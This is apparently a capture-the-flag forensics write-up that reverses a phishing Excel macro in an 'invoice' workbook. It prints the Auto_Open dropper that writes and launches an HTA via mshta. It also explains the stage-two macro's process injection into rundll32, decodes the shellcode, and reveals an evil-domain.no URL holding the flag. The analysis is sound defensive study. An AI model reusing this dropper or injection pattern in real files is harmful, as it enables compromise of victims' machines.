Analysis

In this Forensics challenge, we are given an Excel workbook:

1
2
$ file invoice-42369643.xlsm
invoice-42369643.xlsm: Microsoft Excel 2007+

The .xlsm extension indicates that the workbook can contain VBA macros. I started by inspecting them with olevba:

1
$ olevba --decode invoice-42369643.xlsm

There are two Base64 functions in Module1.bas: LeOyoqoF encodes strings, while hdYJNJmt decodes them. The interesting part is the Auto_Open() macro:

1
2
3
4
5
6
7
8
9
10
11
12
Sub Auto_Open()
    Dim fHdswUyK, GgyYKuJh
    Application.Goto ("JLprrpFr")
    GgyYKuJh = Environ("temp") & "\LwTHLrGh.hta"

    Open GgyYKuJh For Output As #1
    Write #1, hdYJNJmt(ActiveSheet.Shapes(2).AlternativeText & UZdcUQeJ.yTJtzjKX & Selection)
    Close #1

    fHdswUyK = "msh" & "ta " & GgyYKuJh
    x = Shell(fHdswUyK, 1)
End Sub

The macro concatenates three strings, Base64-decodes the result, and writes it to %TEMP%\LwTHLrGh.hta. It then launches that file using mshta.

The three fragments come from:

Fragment VBA expression Location
1 ActiveSheet.Shapes(2).AlternativeText Alternative text of the second shape
2 UZdcUQeJ.yTJtzjKX A control on the VBA UserForm
3 Selection The cell selected by the named range JLprrpFr

These are fragments of the encoded payload. We still need to reconstruct and analyze it to reach the flag. I kept the analysis static and extracted the data directly from the workbook.

Picture Alternative Text

An .xlsm file is a ZIP archive, so its XML files can be inspected with unzip.

The worksheet relationships point to the drawing containing the shapes:

1
$ unzip -p invoice-42369643.xlsm xl/worksheets/_rels/sheet1.xml.rels | xmllint --format -

The relevant relationship is:

1
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/drawing" Target="../drawings/drawing1.xml"/>

This resolves to xl/drawings/drawing1.xml. Looking inside it, the second shape is named Picture 3, and its descr attribute contains a long Base64 string.

I extracted it with Python to preserve the exact characters:

1
2
3
4
5
6
7
8
9
10
11
from pathlib import Path
import xml.etree.ElementTree as ET
import zipfile

with zipfile.ZipFile("invoice-42369643.xlsm") as archive:
    drawing = ET.fromstring(archive.read("xl/drawings/drawing1.xml"))

shapes = [e for e in drawing.iter() if e.tag.endswith("}cNvPr")]
part1 = shapes[1].attrib["descr"]
Path("part1.b64").write_text(part1)
print(len(part1))

Output:

1
7082

Selected Cell

Before using Selection, the macro calls:

1
Application.Goto ("JLprrpFr")

To find the selected cell, I checked the workbook’s defined names:

1
2
$ unzip -p invoice-42369643.xlsm xl/workbook.xml | xmllint --xpath '//*[local-name()="definedName"][@name="JLprrpFr"]' -
<definedName name="JLprrpFr">Sheet1!$K$2</definedName>

The named range points to K2. Inspecting that cell gives:

1
2
$ unzip -p invoice-42369643.xlsm xl/worksheets/sheet1.xml | xmllint --xpath '//*[local-name()="c"][@r="K2"]' -
<c r="K2" s="2" t="s"><v>0</v></c>

The t="s" attribute means that the cell uses a shared string. The value 0 is its zero-based index in xl/sharedStrings.xml.

We can read the first shared string with:

1
$ unzip -p invoice-42369643.xlsm xl/sharedStrings.xml | xmllint --xpath 'string(//*[local-name()="si"][1])' -

The trailing - tells xmllint to read from standard input. Without it, the command prints its usage message.

I saved the third fragment using Python:

1
2
3
4
5
6
7
8
9
10
from pathlib import Path
import xml.etree.ElementTree as ET
import zipfile

with zipfile.ZipFile("invoice-42369643.xlsm") as archive:
    strings = ET.fromstring(archive.read("xl/sharedStrings.xml"))

part3 = "".join(e.text or "" for e in strings[0].findall(".//{*}t"))
Path("part3.b64").write_text(part3)
print(len(part3))

Output:

1
7134

UserForm Value

The missing fragment comes from UZdcUQeJ.yTJtzjKX. In the olevba output, the corresponding form variable is reported as:

1
2
VBA FORM Variable "b'yTJtzjKX'" IN 'xl/vbaProject.bin' - OLE stream: 'UZdcUQeJ'
None

However, the same output also shows a long encoded string in UZdcUQeJ/o. The value is present in the file even though olevba does not recover it as the named form variable.

I used olefile to read that stream directly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pathlib import Path
import struct
import zipfile
import olefile

with zipfile.ZipFile("invoice-42369643.xlsm") as archive:
    vba = archive.read("xl/vbaProject.bin")

with olefile.OleFileIO(vba) as ole:
    data = ole.openstream("UZdcUQeJ/o").read()

print(data[:16].hex(" "))

length = struct.unpack_from("<I", data, 8)[0] & 0x7fffffff
part2 = data[12:12 + length].decode("ascii")
Path("part2.b64").write_text(part2)
print(length)

Output:

1
2
00 02 b4 1b 28 00 00 00 a4 1b 00 80 6c 76 62 6b
7076

For this control, the four bytes at offset 0x08 represent 0x80001BA4 in little-endian order. The high bit marks the string as compressed, meaning one byte per character here. Masking it off gives 0x1BA4, or 7076 characters.

The actual string starts at offset 0x0C, with the bytes 6c 76 62 6b, which spell lvbk.

This also explains the strange characters around the form string in the tool output: the stream contains binary metadata around the text. Extracting exactly the recorded length avoids including those bytes.

Reconstructing the HTA

With all three fragments recovered, I joined them in the order used by the macro:

1
2
3
4
5
6
7
import base64
from pathlib import Path

parts = [Path(f"part{i}.b64").read_text() for i in range(1, 4)]
payload = base64.b64decode("".join(parts), validate=True)
Path("payload.hta.txt").write_bytes(payload)
print(len(payload))

Output:

1
15968

The fragments must be joined before decoding. Their boundaries do not all align with Base64’s four-character groups.

The recovered HTA begins with VBScript:

1
2
3
4
Set objExcel = CreateObject("Excel.Application")
objExcel.Visible = False

Set WshShell = CreateObject("Wscript.Shell")

It reads the existing AccessVBOM registry value and writes 1 to enable access to the VBA project object model. It then creates a workbook and adds a VBA module:

1
2
Set objWorkbook = objExcel.Workbooks.Add()
Set xlmodule = objWorkbook.VBProject.VBComponents.Add(1)

The next statement builds the new macro using string concatenation and Chr(...) calls:

1
2
3
xlmodule.CodeModule.AddFromString "Private "&"Type PRO"&"CESS_INF"&"ORMATION"&Chr(10)&"    hPro"&"cess As "&"Long"&Chr(10)&"    hThr"&"ead As L"&"ong"&Chr(10)&"    dwPr"&"ocessId "&"As Long"&Chr(10)&"    dwTh"&"readId A"&"s Long"&Chr(10)& _
"End Type"&Chr(10)&Chr(10)&"Private "&"Type STA"&"RTUPINFO"&Chr(10)&"    cb A"&"s Long"&Chr(10)& _
...

After adding the code, the HTA attempts to run Auto_Open, closes Excel, and restores the previous registry state.

To recover the generated VBA, I parsed only the string literals and Chr(...) expressions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pathlib import Path
import re

hta = Path("payload.hta.txt").read_text()
expression = hta.split("xlmodule.CodeModule.AddFromString ", 1)[1]
expression = expression.split("\nobjExcel.DisplayAlerts", 1)[0]
expression = re.sub(r"\s*_\s*\n", "", expression)

tokens = re.compile(r'"((?:[^"]|"")*)"|Chr\((\d+)\)', re.I)
remainder = re.sub(r"[\s&]", "", tokens.sub("", expression))
assert not remainder, repr(remainder)

vba = "".join(
    match[1].replace('""', '"') if match[1] is not None
    else chr(int(match[2]))
    for match in tokens.finditer(expression)
)

Path("stage2.vba.txt").write_text(vba)

The resulting macro declares four Windows API functions under different names:

Macro name Windows API
RunStuff CreateProcessA
AllocStuff VirtualAllocEx
WriteStuff WriteProcessMemory
CreateStuff CreateRemoteThread

It selects rundll32.exe from SysWOW64 or System32, creates a suspended process, allocates executable memory in it, writes bytes from myArray, and starts a remote thread at that address.

The next stage is the shellcode stored in myArray.

Shellcode

The array contains signed integers:

1
myArray = Array(-35,-63,-65,32,86,66,126,-39,116,36,-12,91,49,-55,-79,98,...)

The macro writes one byte from each element, so masking each number with 0xff gives the original shellcode bytes:

1
2
3
4
5
6
7
8
from pathlib import Path
import re

vba = Path("stage2.vba.txt").read_text()
array = re.search(r"myArray\s*=\s*Array\((.*?)\)", vba, re.S).group(1)
shellcode = bytes(int(value.strip()) & 0xff for value in array.split(","))
Path("shellcode.bin").write_bytes(shellcode)
print(len(shellcode))

Output:

1
416

I disassembled the first instructions with Capstone:

1
2
3
4
5
6
7
8
from pathlib import Path
from capstone import Cs, CS_ARCH_X86, CS_MODE_32

code = Path("shellcode.bin").read_bytes()
md = Cs(CS_ARCH_X86, CS_MODE_32)

for insn in md.disasm(code[:0x19], 0):
    print(f"{insn.address:04x}: {insn.mnemonic} {insn.op_str}")

Output:

0000: ffree st(1)
0002: mov edi, 0x7e425620
0007: fnstenv [esp - 0xc]
000b: pop ebx
000c: xor ecx, ecx
000e: mov cl, 0x62
0010: xor dword ptr [ebx + 0x18], edi
0013: add edi, dword ptr [ebx + 0x18]
0016: add ebx, 0x24

The FPU instructions recover the shellcode’s address in ebx. The decoder then processes 0x62, or 98, four-byte blocks starting at offset 0x18.

Each block is XORed with the current key, starting with 0x7E425620. The decoded value is then added to the key for the next iteration, wrapping at 32 bits.

There is also a self-modifying detail: the first decoded block overlaps the decoder itself. It changes the instruction at 0x16 from add ebx, 0x24 to add ebx, 4 and reveals loop 0x10 at offset 0x19.

I reproduced the decoder in Python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pathlib import Path
import re
import struct

code = bytearray(Path("shellcode.bin").read_bytes())
key = 0x7e425620
count = 0x62

assert 0x18 + count * 4 == len(code)

for offset in range(0x18, 0x18 + count * 4, 4):
    value = struct.unpack_from("<I", code, offset)[0] ^ key
    struct.pack_into("<I", code, offset, value)
    key = (key + value) & 0xffffffff

Path("shellcode.decoded.bin").write_bytes(code)
print(re.search(rb"HTB\{[^}]+\}", code).group().decode())

Output:

1
HTB{g0_G3t_th3_ph1sh3R}

Looking at the decoded strings also shows where the flag was hidden:

1
2
$ strings shellcode.decoded.bin | grep 'HTB{'
evil-domain.no/HTB{g0_G3t_th3_ph1sh3R}

Flag

HTB{g0_G3t_th3_ph1sh3R}